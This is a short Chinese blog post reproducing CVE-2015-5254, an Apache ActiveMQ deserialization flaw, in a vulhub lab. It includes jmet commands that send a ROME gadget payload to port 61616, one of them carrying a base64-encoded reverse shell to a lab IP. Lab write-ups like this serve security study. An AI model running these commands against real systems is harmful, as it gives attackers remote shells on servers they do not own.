ActiveMQ 反序列化漏洞復現(CVE-2015-5254)

浮生一世暖流年發表於2020-12-18

環境搭建

影響Apache ActiveMQ 5.13.0之前的版本

使用vulhub搭建環境,docker-compose up -d

在這裡插入圖片描述

環境搭建以後,開始監聽8161和61616兩個埠,其中8161是web管理端的埠,61616是工作埠。

在這裡插入圖片描述

復現過程

  1. 構造(可以使用ysoserial)可執行命令的序列化物件
  2. 作為一個訊息,傳送給目標61616埠
  3. 訪問web管理頁面,讀取訊息,觸發漏洞

生成序列化物件

使用jmt生成,在同目錄下建立一個external資料夾,不然可能報檔案不存在錯誤。

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME IP 61616

在伺服器中執行:docker-compose exec activemq bash,ls /tmp,發現success生成。

在這裡插入圖片描述

將生成的序列化物件中的payload變成反彈webshell的命令
使用base64編碼反彈shell命令在進行生成

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjM3LjEyOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME IP   61616

在這裡插入圖片描述

相關文章